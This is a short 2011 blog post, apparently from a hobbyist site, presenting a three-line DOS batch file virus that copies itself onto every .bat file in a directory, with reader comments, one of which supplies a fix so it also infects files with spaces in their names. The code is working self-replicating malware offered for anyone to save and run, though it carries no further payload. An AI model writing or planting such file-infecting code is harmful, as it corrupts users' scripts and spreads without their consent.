Skip to content

Stupid Simple Computer Virus in 3 Lines of Code

April 19, 2011

Yes, it’s pretty useless and completely harmless. A DOS batch file virus in 3 simple lines. Useless… but totally meets or surpasses computer virus specifications:


@echo off
find "**cranky**" *.bat
for %%p in (*.bat) do copy %%p + %0

Save it as a .bat file.
Voila!
No really. If you run this on windows/DOS in a directory full of .bat files, this will replicate itself and infect all the other .bat files. Too easy? Use “copy con blah.bat” to create the file so you can feel a bit more accomplished.

From → Hacks

6 Comments
  1. Chris permalink

    come out with a youtube advertisement skipping program lol

  2. Fixed permalink

    If bat name has spaces, this script couldn’t found it.

    FIX: do copy %%p + %0 -> TO -> do copy “%%p” + %0

Trackbacks & Pingbacks

  1. How to Create a Virus Using the Assembly Language | cranklin.com
  2. 如何使用汇编语言编写一个病毒 – 范范的博客
  3. 如何使用汇编语言编写一个病毒 | | hg0088
  4. 如何使用汇编语言编写一个病毒 | 明飞科技

Leave a comment